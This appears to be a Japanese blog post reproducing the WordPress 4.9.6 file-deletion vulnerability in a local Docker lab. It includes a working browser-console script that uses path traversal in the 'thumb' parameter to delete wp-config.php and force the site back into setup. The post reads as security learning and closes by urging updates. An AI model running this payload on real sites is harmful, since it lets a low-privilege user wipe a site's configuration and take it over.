WordPress
Security

WordPress 4.9.6の脆弱性を再現確認してみた

WARNING: WordPress File Delete to Code Execution
で、動画付きで解説されている話

多分、
『editattachmentアクションの時のthumbパラメータがユーザー入力だけど、ノーチェックでidと結びつくようになってるので、結びつけてやれば、wordpressアプリの権限で触れるところ任意で削除出来るので、wp-config.phpとか削除するとwordpress初期化出来る。
投稿者権限以上でログイン出来るユーザーが攻撃者になりうる。』
って書いてある

環境構築

docker hubのwordpressのものを参考にdocker-compose.ymlを作成

version: '3.1'

services:

  wordpress:
    image: wordpress:4.9.6
    ports:
      - 9000:80
    environment:
      WORDPRESS_DB_PASSWORD: パスワード

  mysql:
    image: mysql:5.7
    environment:
      MYSQL_ROOT_PASSWORD: パスワード

起動

docker-compose up
  1. ブラウザで、localhost:9000にアクセスして、wordpressをセットアップ
  2. セットアップが完了したら、投稿者権限の新規ユーザーを追加
  3. 追加した、投稿者権限のユーザーでログイン

スクリーンショット 2018-07-12 16.53.30.png

再現確認

メディアから新規追加で、画像を追加(この時、ファイル名に日本語を含まないファイルをアップロードする事)

スクリーンショット 2018-07-12 16.54.15.png

メディアの編集画面で、ブラウザの開発者ツールを立ち上げ、コンソールにスクリプトを流す
スクリーンショット 2018-07-12 16.58.34.png

var nonce = document.getElementById("_wpnonce").value
var id =  document.location.search.match(/post=(\d+)/)[1]
var data = "action=editattachment&_wpnonce=" + nonce + "&thumb=../../../../wp-config.php"

var xhr = new XMLHttpRequest()
xhr.open("POST", "/wp-admin/post.php?post=" + id)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.onreadystatechange = function() {
  var READYSTATE_COMPLETED = 4

  if (this.readyState == READYSTATE_COMPLETED) {
   var nonce = document.getElementsByClassName("submitdelete deletion")[0].getAttribute("href").match(/_wpnonce=(.*)/)[1]
   var data = "action=delete&_wpnonce=" + nonce

   var xhr = new XMLHttpRequest()
   xhr.open("POST", "/wp-admin/post.php?post=" + id)
   xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
   xhr.send(data)
  }
}
xhr.send(data)

あとは、ブラウザ上で適当に遷移すれば、セットアップの最初の画面が出る
スクリーンショット 2018-07-12 17.06.04.png

ファイル名に日本語を含まないファイルをアップロードする件

今回の構築環境のせいなのか、ファイルを削除すると変な状態にはなるものの、wp-config.phpが消えずにハマった

変な状態

以下のように(タイトルなし)というものが表示されるようになるし、wordpressの初期画面出ない
サーバーに入ると、ファイルも残っており消えてなさそう
スクリーンショット 2018-07-12 16.56.54.png

結論

手軽に初期化が出来るものの、投稿者権限以上でログインしないといけないので、運用体制次第ですが、そこまで脅威ではなさそうな気がします。
とはいえ、アップデートすれば治るものですし、必ずアップデートをしましょう。